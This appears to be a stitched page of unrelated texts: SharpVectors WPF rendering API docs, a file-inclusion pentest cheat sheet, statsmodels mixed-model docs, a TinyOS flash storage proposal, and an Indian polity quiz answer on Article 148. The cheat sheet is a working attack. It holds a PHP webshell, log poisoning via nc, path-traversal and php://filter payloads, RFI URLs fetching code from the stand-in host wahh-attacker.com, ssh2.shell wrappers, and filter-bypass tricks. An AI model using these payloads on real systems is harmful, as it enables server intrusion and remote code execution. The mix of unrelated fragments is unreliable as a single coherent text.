Class WpfDrawingSettings
This provides the settings or options for the drawing/rendering engine of the WPF.
Inheritance
Inherited Members
Namespace: SharpVectors.Renderers.Wpf
Assembly: SharpVectors.Rendering.Wpf.dll
Syntax
[Serializable]
public sealed class WpfDrawingSettings : WpfSettings<WpfDrawingSettings>, ICloneable, IXmlSerializable
Constructors
WpfDrawingSettings()
Initializes a new instance of the WpfDrawingSettings class with the default parameters and settings.
Declaration
public WpfDrawingSettings()
WpfDrawingSettings(WpfDrawingSettings)
Initializes a new instance of the WpfDrawingSettings class with the specified initial drawing or rendering settings, a copy constructor.
Declaration
public WpfDrawingSettings(WpfDrawingSettings settings)
Parameters
| Type | Name | Description |
|---|---|---|
| WpfDrawingSettings | settings | This specifies the initial options for the rendering or drawing engine. |
Fields
PropertyIsResources
A well-known property name, a Boolean value specifying the target output of the rendering is
resource dictionary XAML
.
If set to true, operations required to enhance the output of ResourceDictionary
XAML
are enabled.
Declaration
public const string PropertyIsResources = "_IsResources"
Field Value
| Type | Description |
|---|---|
| String |
See Also
PropertyNoneBrush
A well-known property name, specifies the Brush object to be used for an SVG
element,
which is defined with display styling none
, but no fill styling options.
The default value is null.
Declaration
public const string PropertyNoneBrush = "_NoneBrush"
Field Value
| Type | Description |
|---|---|
| String |
PropertyNonePen
A well-known property name, specifies the Pen object to be used for an SVG
element,
which is defined with display styling none
, but no stroke styling options.
The default value is null.
Declaration
public const string PropertyNonePen = "_NonePen"
Field Value
| Type | Description |
|---|---|
| String |
XmlTagName
The name of the XML
tag name, under which this object is stored.
Declaration
public const string XmlTagName = "drawingSettings"
Field Value
| Type | Description |
|---|---|
| String |
XmlVersion
The version of the file format, under which this object is stored.
Declaration
public const string XmlVersion = "1.0.0"
Field Value
| Type | Description |
|---|---|
| String |
Properties
CanUseBitmap
Gets or sets a value indicating if image elements will render bitmaps.
Declaration
public bool CanUseBitmap { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | A value specifying how bitmaps are rendered. If true elements will render bitmaps; otherwise, it is false elements will not render bitmaps. The default is true. |
See Also
CssVariables
Gets or sets user-defined CSS custom properties for the rendering.
Declaration
public IDictionary<string, string> CssVariables { get; set; }
Property Value
| Type | Description |
|---|---|
| IDictionary<String, String> | A IDictionary<TKey,TValue> of user-defined styles. This value is never null. |
CultureInfo
Gets or sets the main culture information used for rendering texts.
Declaration
public CultureInfo CultureInfo { get; set; }
Property Value
| Type | Description |
|---|---|
| CultureInfo | An instance of the CultureInfo specifying the main culture information for texts. The default is the English culture. |
Remarks
This is the culture information passed to the FormattedText class instance for the text rendering.
The library does not currently provide any means of splitting texts into its multi-language parts.
DefaultFontFamily
Gets or sets the globally available default font family.
Declaration
public static FontFamily DefaultFontFamily { get; set; }
Property Value
| Type | Description |
|---|---|
| FontFamily | An instance of the FontFamily specifying the globally available font family.
The default is |
DefaultFontName
Gets or sets the default font family name, which is used when a text node does not specify a font family name.
Declaration
public string DefaultFontName { get; set; }
Property Value
| Type | Description |
|---|---|
| String | A string containing the default font family name. The default is the |
DpiScale
Gets or sets an object that stores DPI
information from which an SVG
element is rendered.
Declaration
public DpiScale DpiScale { get; set; }
Property Value
| Type | Description |
|---|---|
| DpiScale | An object DpiScale specifying the |
DrawingResources
Gets or sets an object used to collect extra information used to enhance the output of ResourceDictionary XAML.
Declaration
public WpfDrawingResources DrawingResources { get; set; }
Property Value
| Type | Description |
|---|---|
| WpfDrawingResources | An object WpfDrawingResources specifying the store of the extra information used by
resource dictionary output |
Remarks
This is only used if the user-defined property specified by PropertyIsResources is set to true; otherwise, the extra information used by the resource dictionary output are not generation.
If the value of PropertyIsResources is set to true, an instance of the WpfDrawingResources is created a associated with this drawing options, if not provided.
EnsureViewboxPosition
Gets or sets a value to indicate applying a translate transform to the viewbox to ensure it is visible when rendered.
Declaration
public bool EnsureViewboxPosition { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | This determines whether a transformation is applied to the rendered drawing. For drawings where the top-left position of the viewbox is off the screen, due to negative values, this will ensure the drawing is visible. The default value is true. Set this value to false if you wish to apply your own transformations to the drawings. |
EnsureViewboxSize
Gets or sets a value to indicate preserving the original viewbox size when saving images.
Declaration
public bool EnsureViewboxSize { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | For image outputs, this will force the original size to be saved. The default value is false. However, the ImageSvgConverter converted sets this to true by default. |
Remarks
Setting this to true will cause the rendering process to draw a transparent box around the output, if a viewbox is defined. This will ensure that the original image size is saved.
ExternalResourcesAccessMode
Gets or sets a value indicating how to handled external resources.
Declaration
public ExternalResourcesAccessModes ExternalResourcesAccessMode { get; set; }
Property Value
| Type | Description |
|---|---|
| ExternalResourcesAccessModes | An enumeration of the type ExternalResourcesAccessModes specifying the access mode. The default is Allow. |
See Also
FontFamilies
Gets the list of a custom font family objects.
Declaration
public IEnumerable<FontFamily> FontFamilies { get; }
Property Value
| Type | Description |
|---|---|
| IEnumerable<FontFamily> | An iterator to the custom font families. |
FontFamilyNames
A dictionary specifying a map of the font family names to their locations.
Declaration
public IDictionary<string, string> FontFamilyNames { get; }
Property Value
| Type | Description |
|---|---|
| IDictionary<String, String> | A dictionary of the font family names to their locations. |
FontLocations
Gets the list of the custom font locations or paths.
Declaration
public IEnumerable<string> FontLocations { get; }
Property Value
| Type | Description |
|---|---|
| IEnumerable<String> | An iterator to the custom font locations or paths. |
GenericCursive
Gets or set the globally available generic cursive font family.
Declaration
public static FontFamily GenericCursive { get; set; }
Property Value
| Type | Description |
|---|---|
| FontFamily | An instance of FontFamily specifying the generic
cursive font family. The default is |
GenericFantasy
Gets or set the globally available generic fantasy font family.
Declaration
public static FontFamily GenericFantasy { get; set; }
Property Value
| Type | Description |
|---|---|
| FontFamily | An instance of FontFamily specifying the generic
fantasy font family. The default is |
GenericMonospace
Gets or set the globally available generic Monospace font family.
Declaration
public static FontFamily GenericMonospace { get; set; }
Property Value
| Type | Description |
|---|---|
| FontFamily | An instance of FontFamily specifying the generic
Monospace font family. The default is |
GenericSansSerif
Gets or set the globally available generic sans serif font family.
Declaration
public static FontFamily GenericSansSerif { get; set; }
Property Value
| Type | Description |
|---|---|
| FontFamily | An instance of FontFamily specifying the generic sans
serif font family. The default is |
Remarks
The possible font names are Tahoma
, Arial
,
Verdana
, Trebuchet
, MS Sans Serif
and Helvetica
.
GenericSerif
Gets or set the globally available generic serif font family.
Declaration
public static FontFamily GenericSerif { get; set; }
Property Value
| Type | Description |
|---|---|
| FontFamily | An instance of FontFamily specifying the generic serif
font family. The default is |
HasFontFamilies
Gets a value specifying whether user-defined font families are associated with the target rendering.
Declaration
public bool HasFontFamilies { get; }
Property Value
| Type | Description |
|---|---|
| Boolean | This is true if user-defined font families exists; otherwise, it is false. |
HasPixelSize
Gets a value indicating the dimension or size of the target drawing is specified.
Declaration
public bool HasPixelSize { get; }
Property Value
| Type | Description |
|---|---|
| Boolean | This is true if the values of both PixelWidth and PixelHeight are positive; otherwise, it is false. |
IgnoreRootViewbox
Gets or sets a value to indicate whether to turn off viewbox at the root of the drawing.
Declaration
public bool IgnoreRootViewbox { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | For image outputs, this will force the original size to be saved. The default value is false. |
Remarks
There are reported cases where are diagrams displayed in Inkscape program, but will not show when converted. These are diagrams on the drawing canvas of Inkspace but outside the svg viewbox.
When converted the drawings are also converted but not displayed due to clipping. Setting this property to true will clear the clipping region on conversion.
IncludeRuntime
Gets or sets a value indicating whether the SharpVectors.Runtime.dll
classes are used in the generated output.
Declaration
public bool IncludeRuntime { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | This is true if the |
Remarks
The use of the SharpVectors.Runtime.dll
prevents the hard-coded font path generated by the
FormattedText class, support for embedded images etc.
InteractiveMode
Gets or sets a value specifying the interactive mode of the target rendering.
Declaration
public SvgInteractiveModes InteractiveMode { get; set; }
Property Value
| Type | Description |
|---|---|
| SvgInteractiveModes | An enumeration of the type SvgInteractiveModes specifying the interactive mode. The default is None, no interactivity. |
Remarks
The interactive mode determine whether extra attributes are added to the individual rendered elements to make it easy to select or identity at runtime.
Item[String]
Gets or sets a well-known property value.
Declaration
public object this[string name] { get; set; }
Parameters
| Type | Name | Description |
|---|---|---|
| String | name | The well-known name of the property. It can be |
Property Value
| Type | Description |
|---|---|
| Object | The value of the well-known or user-defined property. Setting the value of an existing property to null will remove the property. |
NeutralCultureInfo
Gets the neutral language for text rendering.
Declaration
public CultureInfo NeutralCultureInfo { get; }
Property Value
| Type | Description |
|---|---|
| CultureInfo | An instance of the CultureInfo specifying the neutral culture information for texts. The default is the English culture. |
Remarks
For vertical text rendering, there is a basic text splitting into Western and other languages. This culture information is used to render the Western language part, and the mains culture information for the other languages.
OptimizePath
Gets or sets a value indicating whether the path geometry is optimized using the StreamGeometry.
Declaration
public bool OptimizePath { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | This is true if the path geometry is optimized using the StreamGeometry; otherwise, it is false. The default is true. |
PixelHeight
Gets or sets the pixel height of the rendered drawing.
Declaration
public int PixelHeight { get; set; }
Property Value
| Type | Description |
|---|---|
| Int32 | The height of the rendered drawing in pixels. The default is |
Remarks
This, together with a valid PixelWidth value, may defined a bounding box around the rendered drawing to constrain its bounds. Only effective where static images are required.
PixelWidth
Gets or sets the pixel width of the rendered drawing.
Declaration
public int PixelWidth { get; set; }
Property Value
| Type | Description |
|---|---|
| Int32 | The width of the rendered drawing in pixels. The default is |
Remarks
This, together with a valid PixelHeight value, may defined a bounding box around the rendered drawing to constrain its bounds. Only effective where static images are required.
TextAsGeometry
Gets or sets a value indicating whether the texts are rendered as path geometry.
Declaration
public bool TextAsGeometry { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean | This is true if texts are rendered as path geometries; otherwise, this is false. The default is false. |
UserAgentCssFilePath
Gets or sets the basic style sheet that give default styles to any SVG
document, similar to
the user-agent or browsers styles.
Declaration
public string UserAgentCssFilePath { get; set; }
Property Value
| Type | Description |
|---|---|
| String | A string containing the path to the user-agent stylesheet file. The default is null. |
Remarks
These style sheets are named user-agent stylesheets in browsers. Most browsers use actual stylesheets for this purpose, while others simulate them in code. The end result is the same.
Some browsers let users modify the user-agent stylesheet, but this is rare and is the approach used
by the SharpVectors
.
See Also
UserCssFilePath
Gets or sets a stylesheet to override the styles in SVG
documents using a custom user stylesheet,
similar to that in browsers.
Declaration
public string UserCssFilePath { get; set; }
Property Value
| Type | Description |
|---|---|
| String | A string containing the path to the user stylesheet file. The default is null. |
Remarks
In most browsers, the user (or reader) of the web site can choose to override styles using a custom user stylesheet designed to tailor the experience to the user's wishes. Depending on the user agent, user styles can be configured directly or added via browser extensions.
See Also
Visitors
Gets the list of custom rendering visitor implementation objects to be used by the SharpVectors
.
Declaration
public WpfVisitors Visitors { get; }
Property Value
| Type | Description |
|---|---|
| WpfVisitors | An object WpfVisitors specifying the list of the visitor objects. |
Methods
AddFontFamilyName(String, String)
This adds a mapped font family name. A mapped name can be a localized name of a font family or an alternative font family name.
Declaration
public void AddFontFamilyName(string mappedName, string fontName)
Parameters
| Type | Name | Description |
|---|---|---|
| String | mappedName | The mapped or alternative font family name. |
| String | fontName | The target font family name. |
Remarks
The font family name mapping applies to both system and private fonts.
Both themappedName
and the fontName
values must not be
null or empty String.
AddFontLocation(String)
This adds the specified local font location (file or directory) to enable the use of private fonts.
Declaration
public void AddFontLocation(string fontLocation)
Parameters
| Type | Name | Description |
|---|---|---|
| String | fontLocation | A string containing the path to a font file. |
Remarks
The fontLocation
value cannot be a file path or a directory. If a directory is specified,
all the files with the standard font file extensions in the directory will be loaded.
fontLocation
must not be null or empty String and
the specified location must exists.
Clone()
This creates a new settings object that is a deep copy of the current instance.
Declaration
public override WpfDrawingSettings Clone()
Returns
| Type | Description |
|---|---|
| WpfDrawingSettings | A new settings object that is a deep copy of this instance. |
Overrides
Remarks
This is deep cloning of the members of this settings object. If you need just a copy, use the copy constructor to create a new instance.
LookupFontFamily(String, FontWeight, FontStyle, FontStretch)
This looks for or matches the specified font family name and attributes.
Declaration
public FontFamily LookupFontFamily(string fontName, FontWeight weight, FontStyle style, FontStretch stretch)
Parameters
| Type | Name | Description |
|---|---|---|
| String | fontName | The font family name to search in the list of defined fonts. |
| FontWeight | weight | |
| FontStyle | style | |
| FontStretch | stretch |
Returns
| Type | Description |
|---|---|
| FontFamily | It returns an FontFamily defining the font family object matched; otherwise, it returns null. |
ReadXml(XmlReader)
This reads and sets its state or attributes stored in a XML
format with the given reader.
Declaration
public override void ReadXml(XmlReader reader)
Parameters
| Type | Name | Description |
|---|---|---|
| XmlReader | reader | The reader with which the |
Overrides
Exceptions
| Type | Condition |
|---|---|
| ArgumentNullException | If the |
WriteXml(XmlWriter)
This writes the current state or attributes of this object,
in the XML
format, to the media or storage accessible by the given writer.
Declaration
public override void WriteXml(XmlWriter writer)
Parameters
| Type | Name | Description |
|---|---|---|
| XmlWriter | writer | The |
Overrides
Exceptions
| Type | Condition |
|---|---|
| ArgumentNullException | If the |


DETECTION
General
Terminate parameters with NULL string %00 (PHP < 5.3)
PHP >=5.2 have a new option, allow_url_include, which is disabled by default
RFI
1. Submit in each targeted parameter a URL for a resource on a web server that you control
If possible check web logs for incoming requests
2. Submit a URL containing a nonexistent IP address, and determine whether a timeout occurs
Common parameter names
File=
document=
Folder=
root=
Path=
pg=
style=
pdf=
template=
php_path=
doc=
LFI
Submit the name of a known executable resource on the server
Submit the name of a known static resource on the server
EXPLOITATION
RFI
Construct webshell script in correct language and RFI it
Contaminating log files (check all available services for log file LFI not just apache)
nc -nv <IP_ADDRESS> 80
<?php echo shell_exec($_GET['cmd']);?>
Find the log directory for given apache server (c:\xampp\apache\logs\access.log)
Execute command with
http://<IP_ADDRESS>/addguestbook.php?name=a&comment=b&cmd=ipconfig&LANG=../../../../../../../xampp/apache/logs/access.log%00
LFI PHP file (server outputs php script as text file)
http://<IP_ADDRESS>/?page=php://filter/convert.base64-encode/resource=index
RFI if allow_url_fopenenabled
http://wahh-attacker.com/bad.php
<EMAIL_ADDRESS>ssh2.shell://user:pass@wahh-attacker.com:22/xterm
ssh2.exec://user:pass@wahh-attacker.com:22/cmd
RFI if allow_url_fopendisabled
\\wahh-attacker.com\bad.php (SMB)
php://filter/resource=http://wahh-attacker.com/bad.php
compress.zlib://http://wahh-attacker.com/bad.php
ogg://http://wahh-attacker.com/bad.php
Advanced methods
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal
Filter bypass
escape "/" with "\/" or "//" with "\/\/"
try single "/" instead of "//"
remove http i.e. "continue=//google.com"
"/\/\" , "|/" , "/%09/"
encode, slashes
"./" CHANGE TO "..//"
"../" CHANGE TO "....//"
"/" CHANGE TO "//"


Linear Mixed Effects Models¶
Linear Mixed Effects models are used for regression analyses involving dependent data. Such data arise when working with longitudinal and other study designs in which multiple observations are made on each subject. Some specific linear mixed effects models are
Random intercepts models, where all responses in a group are additively shifted by a value that is specific to the group.
Random slopes models, where the responses in a group follow a (conditional) mean trajectory that is linear in the observed covariates, with the slopes (and possibly intercepts) varying by group.
Variance components models, where the levels of one or more categorical covariates are associated with draws from distributions. These random terms additively determine the conditional mean of each observation based on its covariate values.
The Statsmodels implementation of LME is primarily group-based, meaning that random effects must be independently-realized for responses in different groups. There are two types of random effects in our implementation of mixed models: (i) random coefficients (possibly vectors) that have an unknown covariance matrix, and (ii) random coefficients that are independent draws from a common univariate distribution. For both (i) and (ii), the random effects influence the conditional mean of a group through their matrix/vector product with a group-specific design matrix.
A simple example of random coefficients, as in (i) above, is:
Here, \(Y_{ij}\) is the \(j^\rm{th}\) measured response for subject \(i\), and \(X_{ij}\) is a covariate for this response. The “fixed effects parameters” \(\beta_0\) and \(\beta_1\) are shared by all subjects, and the errors \(\epsilon_{ij}\) are independent of everything else, and identically distributed (with mean zero). The “random effects parameters” \(\gamma_{0i}\) and \(\gamma_{1i}\) follow a bivariate distribution with mean zero, described by three parameters: \({\rm var}(\gamma_{0i})\), \({\rm var}(\gamma_{1i})\), and \({\rm cov}(\gamma_{0i}, \gamma_{1i})\). There is also a parameter for \({\rm var}(\epsilon_{ij})\).
A simple example of variance components, as in (ii) above, is:
Here, \(Y_{ijk}\) is the \(k^\rm{th}\) measured response under conditions \(i, j\). The only “mean structure parameter” is \(\beta_0\). The \(\eta_{1i}\) are independent and identically distributed with zero mean, and variance \(\tau_1^2\), and the \(\eta_{2j}\) are independent and identically distributed with zero mean, and variance \(\tau_2^2\).
Statsmodels MixedLM handles most non-crossed random effects models, and some crossed models. To include crossed random effects in a model, it is necessary to treat the entire dataset as a single group. The variance components arguments to the model can then be used to define models with various combinations of crossed and non-crossed random effects.
The Statsmodels LME framework currently supports post-estimation inference via Wald tests and confidence intervals on the coefficients, profile likelihood analysis, likelihood ratio testing, and AIC.
Examples¶
In [1]: import statsmodels.api as sm
In [2]: import statsmodels.formula.api as smf
In [3]: data = sm.datasets.get_rdataset("dietox", "geepack").data
In [4]: md = smf.mixedlm("Weight ~ Time", data, groups=data["Pig"])
In [5]: mdf = md.fit()
In [6]: print(mdf.summary())
Mixed Linear Model Regression Results
========================================================
Model: MixedLM Dependent Variable: Weight
No. Observations: 861 Method: REML
No. Groups: 72 Scale: 11.3669
Min. group size: 11 Likelihood: -2404.7753
Max. group size: 12 Converged: Yes
Mean group size: 12.0
--------------------------------------------------------
Coef. Std.Err. z P>|z| [0.025 0.975]
--------------------------------------------------------
Intercept 15.724 0.788 19.952 0.000 14.179 17.268
Time 6.943 0.033 207.939 0.000 6.877 7.008
Group Var 40.394 2.149
========================================================
Detailed examples can be found here
There are some notebook examples on the Wiki: Wiki notebooks for MixedLM
Technical Documentation¶
The data are partitioned into disjoint groups. The probability model for group \(i\) is:
where
\(n_i\) is the number of observations in group \(i\)
\(Y\) is a \(n_i\) dimensional response vector
\(X\) is a \(n_i * k_{fe}\) dimensional matrix of fixed effects coefficients
\(\beta\) is a \(k_{fe}\)-dimensional vector of fixed effects slopes
\(Z\) is a \(n_i * k_{re}\) dimensional matrix of random effects coefficients
\(\gamma\) is a \(k_{re}\)-dimensional random vector with mean 0 and covariance matrix \(\Psi\); note that each group gets its own independent realization of gamma.
\(Q_j\) is a \(n_i \times q_j\) dimensional design matrix for the \(j^\rm{th}\) variance component.
\(\eta_j\) is a \(q_j\)-dimensional random vector containing independent and identically distributed values with variance \(\tau_j^2\).
\(\epsilon\) is a \(n_i\) dimensional vector of i.i.d normal errors with mean 0 and variance \(\sigma^2\); the \(\epsilon\) values are independent both within and between groups
\(Y, X, \{Q_j\}\) and \(Z\) must be entirely observed. \(\beta\), \(\Psi\), and \(\sigma^2\) are estimated using ML or REML estimation, and \(\gamma\), \(\{\eta_j\}\) and \(\epsilon\) are random so define the probability model.
The marginal mean structure is \(E[Y|X,Z] = X*\beta\). If only the marginal mean structure is of interest, GEE is a good alternative to mixed models.
Notation:
\(cov_{re}\) is the random effects covariance matrix (referred to above as \(\Psi\)) and \(scale\) is the (scalar) error variance. There is also a single estimated variance parameter \(\tau_j^2\) for each variance component. For a single group, the marginal covariance matrix of endog given exog is \(scale*I + Z * cov_{re} * Z\), where \(Z\) is the design matrix for the random effects in one group.
References¶
The primary reference for the implementation details is:
MJ Lindstrom, DM Bates (1988). Newton Raphson and EM algorithms for linear mixed effects models for repeated measures data. Journal of the American Statistical Association. Volume 83, Issue 404, pages 1014-1022.
See also this more recent document:
All the likelihood, gradient, and Hessian calculations closely follow Lindstrom and Bates.
The following two documents are written more from the perspective of users:
Module Reference¶
The model class is:
|
An object specifying a linear mixed effects model. |
The result class is:
|
Class to contain results of fitting a linear mixed effects model. |


This is a text checker library, the developer will design rules that clients need to follow.


| TEP: | 128 |
|---|---|
| Group: | Storage Working Group |
| Type: | Documentary |
| Status: | DRAFT |
| TinyOS-Version: | 2.x |
| Authors: | David Moss
Junzhao Du Prabal Dutta Deepak Ganesan Kevin Klues Manju Ajay Martin and Gaurav Mathur |
Note
This memo documents a part of TinyOS for the TinyOS Community, and requests discussion and suggestions for improvements. Distribution of this memo is unlimited. This memo is in full compliance with TEP 1.
The storage abstractions proposed by TEP 103 are implemented on a platform-dependent basis. A version of BlockStorage, ConfigStorage, and LogStorage were created from the ground up for both the AT45DB and ST M25P80 flash chips. Looking forward into the further growth and development of hardware, rebuilding each of these storage layers for every new flash chip will be time consuming and cause compatibility issues.
We propose a layer of abstraction to reside between a chip-dependent flash chip implementation and platform-independent storage implementations. This abstraction layer should provide methods to perform basic flash operations (read, write, erase, flush, crc), as well as provide information about the physical properties of the flash chip. Efficiency concerns are mitigated by the fact that each platform-independent abstraction is implemented in a platform-dependent manner, allowing it to exist on different types of memory such as NAND flash, NOR flash, and EEPROM. This abstraction layer should allow one implementation of each storage solution to operate across many different platforms.
The implementations of the BlockStorage, ConfigStorage, and LogStorage layers described in TEP 103 [1] are platform dependent. Platform- dependent implementations can cause behavioral and usage differences as well as compiling problems when attempting to port an application written on one platform to another. A true abstraction layer would exhibit the same set of interfaces and no differences in behavior when implemented across various types of non-volatile memory.
A well defined non-volatile memory abstraction layer should allow core functionality to work on a variety of platforms without modification. Some flash chips may provide extra functionality. If a particular applications on a specific platform wants to take advantage of extra functionality provided by a flash chip, it still has the opportunity to access those features directly with the understanding that its implementation is no longer considered platform-independent.
Differences exist between the TEP 103 storage implementations on the AT45DB, ST M25P80, and PXA27X P30 flash chips.
First, volume information is defined using two distinct methods. As was discussed in TEP 103, an XML file is responsible for the allocation of flash memory into volumes at compile time. Individual storage layers can then mount to the defined volumes, which allows those layers to share the flash memory resource amongst each other.
The AT45DB implementation running on mica* platforms converts the information presented in the application's volumes XML file into information accessible through macros::
#ifndef STORAGE_VOLUMES_H #define STORAGE_VOLUMES_H enum { VOLUME_BLOCKTEST, }; #endif #if defined(VS) VS(VOLUME_BLOCKTEST, 1024) #undef VS #endif #if defined(VB) VB(VOLUME_BLOCKTEST, 0) #undef VB #endif
The ST M25P80 implementation running on TelosB/Tmote platforms, on the other hand, converts the information in the volumes XML file into an array of constants::
#ifndef __STORAGE_VOLUME_H__ #define __STORAGE_VOLUME_H__ #include "Stm25p.h" #define VOLUME_BLOCKTEST 0 static const stm25p_volume_info_t STM25P_VMAP[ 1 ] = { { base : 0, size : 4 }, }; #endif
Furthermore, the two implementations defined incompatible interfaces for accessing information about volumes. For example, the AT45DB interface provides the following::
interface At45dbVolume { command at45page_t remap(at45page_t volumePage); command at45page_t volumeSize(); }
The ST M25P80 interface defines a different interface, which allows applications to access the volume settings directly through the stm25p_volume_info_t array::
interface Stm25pVolume { async event volume_id_t getVolumeId(); }
Accessing volume information is very platform-dependent. A single method should be integrated to access volume settings and non-volatile memory properties across any platform.
Another issue exists with the previous concept of volumes. Any storage solution that wishes to retain valid data while erasing invalid data MUST have access to at least two erase units. Circular logging, configuration storage, variable storage, dictionary storage, file systems, and more all require a minimum of two erase units to be implemented effectively. One erase unit can be used to erase all the invalid data while other erase unit(s) retains any valid data.
Therefore, the minimum allowable volume size should be twice the size of a single erase unit to effectively support the majority of storage applications. The XML tools that process and allocate volumes should prevent a user from defining a volume too small::
+------------+--------+------------+-----------+------------+ | | AT45DB | ST M25P | PXA27x | K9K1G08R0B | +------------+--------+------------+-----------+------------+ | Min.Volume | 512B | 512B-128kB | 128-256kB | 16kB-64kB | +------------+--------+------------+-----------+------------+
The storage components' signatures differ across implementations. For example, the PXA27X P30 flash defines "P30BlockC", "P30ConfigC", and "P30LogC" in place of "BlockStorageC", "ConfigStorageC", and "LogStorageC". Furthermore, the BlockStorageC configuration in the AT45DB implementation takes the following form::
generic configuration BlockStorageC(volume_id_t volid) { provides { interface BlockWrite; interface BlockRead; } }
while the ST M25P80 implementation adds another interface::
generic configuration BlockStorageC( volume_id_t volume_id ) { provides interface BlockRead; provides interface BlockWrite; provides interface StorageMap; }
The StorageMap interface on the M25P80 flash chip simply allows an application to convert a volume-based virtual address into a physical address on flash. Although it is a good idea, it is not consistent with other platforms' defined interfaces.
The core current BlockStorage, ConfigStorage, and LogStorage layers can all be implemented on a platform-independent abstraction layer. Providing an interface that allows direct, unimpeded access to the memory below while offering information about the properties of that memory is the first step in doing so.
The DirectStorage interface was created to as part of the answer to this issue. DirectStorage resembles the BlockStorage interface in many ways, with two significant exceptions:
1. Erase operation BlockStorage's behavior erases the entire volume at a time, which may consist of multiple erase units. DirectStorage allows erases to occur on per-erase unit basis. Therefore, if only a portion of the volume needs to be erased, it can.
2. Organization BlockStorage defines two different interfaces for interacting with the flash: BlockRead and BlockWrite. These two interfaces are combined into one interface. The getSize() command provided by the BlockRead interface is removed and replaced with VolumeSettings, which will be discussed later. Also, sync()/syncDone() is replaced with flush/flushDone(), which is responsible for writing any data that has not already been written to non-volatile memory. Although the crc() command can technically exist above BlockStorage as well as DirectStorage, it remains in DirectStorage for its ease of use.
Finally, layers should have the ability to be added beneath DirectStorage to further optimize and enable memory operation. For example, the ST M25P80 flash does not have any on-board RAM buffers, so it is up to the microcontroller to buffer and flush out data to write units. This functionality may not be desirable on all applications because it uses valuable microcontroller resources; therefore, it should be removable as layers can be added and removed from radio stack architecture.
Other memory types may require extra support in and underneath the hood of DirectStorage as well. NAND flash, for example, requires bad block management and error correction. This functionality can be implemented without changing the behavior of the DirectStorage interface above.
The DirectStorage interface is described below. Each "addr" variable is a virtual address, with 0x0 relative to the base address of the volume. This base address may actually be physically located somewhere else on the non-volatile memory::
interface DirectStorage { command error_t read(uint32_t addr, void *buf, uint32_t len); command error_t write(uint32_t addr, void *buf, uint32_t len); command error_t erase(uint16_t eraseUnitIndex); command error_t flush(); command error_t crc(uint32_t addr, uint32_t len, uint16_t baseCrc); event void readDone(uint32_t addr, void *buf, uint32_t len, error_t error); event void writeDone(uint32_t addr, void *buf, uint32_t len, error_t error); event void eraseDone(uint16_t eraseUnitIndex, error_t error); event void flushDone(error_t error); event void crcDone(uint16_t calculatedCrc, uint32_t addr, uint32_t len, error_t error); }
Some memory types have the ability to modify their contents without destroying surrounding data.
The AT45DB NOR-flash, for example, is able to do this because it has built in RAM buffers coupled with small erase unit sizes. The physical RAM buffers perform a read-modify-write operation to effectively change the contents of flash, allowing it to emulate the behavior of an EEPROM with the speed and efficiency of NOR-flash.
The ATmega128 microcontroller has 4kB of internal EEPROM memory which can be directly modified. Also, the MSP430 has 256 bytes of internal NOR-flash memory which is divided into two segments of 128 bytes each. When implemented properly, this NOR-flash memory can be modified in a fault-tolerant manner.
The ST M25P80 NOR-flash cannot support modification without sacrificing significant overhead. It has 16 erase units that are 64kB each, which is too large to effectively modify bytes.
While not all memories support modification, a unified interface should exist to interact with memories that do. This interface should be access with the understanding that applications built on top may not be portable to all memory types. Also, DirectStorage and DirectModify are mounted to their own individual volumes, so DirectModify cannot share its allocated memory resources with a DirectStorage interface::
interface DirectModify { command error_t modify(uint32_t addr, void *buf, uint32_t len); command error_t read(uint32_t addr, void *buf, uint32_t len); command error_t erase(uint16_t eraseUnitIndex); command error_t flush(); command error_t crc(uint32_t addr, uint32_t len, uint16_t baseCrc); command bool isSupported(); event void modified(uint32_t addr, void *buf, uint32_t len, error_t error); event void readDone(uint32_t addr, void *buf, uint32_t len, error_t error); event void eraseDone(uint16_t eraseUnitIndex, error_t error); event void flushDone(error_t error); event void crcDone(uint16_t calculatedCrc, uint32_t addr, uint32_t len, error_t error); }
As was shown in Section 1.1, finding information about the current volume required platform-dependent methods of access. VolumeSettings provides a unified method of accessing information about the underlying memory chip and volume settings.
VolumeSettings MUST be implemented separately for DirectStorage and DirectModify, not only because those abstractions will exist on separate volumes, but also because the DirectModify interface may change the available size of the volume to support certain memory types such as NAND- and NOR-flash::
interface VolumeSettings { command uint32_t getVolumeSize(); command uint32_t getTotalEraseUnits(); command uint32_t getEraseUnitSize(); command uint32_t getTotalWriteUnits(); command uint32_t getWriteUnitSize(); command uint8_t getFillByte(); command uint8_t getEraseUnitSizeLog2(); command uint8_t getWriteUnitSizeLog2(); }
| [1] | TEP 103: Permanent Data Storage (Flash). http://tinyos.cvs.sourceforge.net/checkout/tinyos/tinyos-2.x/doc/html/tep103.html |
| [2] | Atmel AT45DB041B datasheet. http://www.atmel.com/dyn/resources/prod_documents/DOC1432.PDF |
| [3] | ST M25P80 datasheet. http://www.st.com/stonline/products/literature/ds/8495/m25p80.pdf |
| [4] | K9K1G08R0B datasheet. http://www.samsung.com/Products/Semiconductor/NANDFlash/SLC_SmallBlock/1Gbit/K9K1G08R0B/ds_k9k1g08x0b_rev10.pdf |


(a)
Topic: Polity
Level: Easy
Application: Factual Based
Explanation
Article 148:- Comptroller and Auditor General of India
(1) There shall be a Comptroller and Auditor General of India who shall be appointed by the President by warrant under his hand and seal and shall only be removed from office in like manner and on the like grounds as a Judge of the Supreme Court
(2) Every person appointed to be the Comptroller and Auditor General of India shall, before he enters upon his office, make and subscribe before the President, or some person appointed in that behalf by him, an oath or affirmation according to the form set out for the purpose in the Third Schedule
(3) The salary and other conditions of service of the Comptroller and Auditor General shall be such as may be determined by Parliament by law and, until they are so determined, shall be as specified in the Second Schedule: Provided that neither the salary of a Comptroller and Auditor General nor his rights in respect of leave of absence, pension or age of retirement shall be varied to his disadvantage after his appointment
(4) The Comptroller and Auditor General shall not be eligible for further office either under the Government of India or under the Government of any State after he has ceased to hold his office
(5) Subject to the provisions of this Constitution and of any law made by Parliament, the conditions of service of persons serving in the Indian Audit and Accounts Department and the administrative powers of the Comptroller and Auditor General shall be such as may be prescribed by rules made by the President after consultation with the Comptroller and Auditor General
(6) The Administrative expenses of the office of the Comptroller and Auditor General, including all salaries, allowances and pensions payable to or in respect of pensions serving in that office, shall be charged upon the Consolidated Fund of India.


| ZotWeb | paper-conference | |
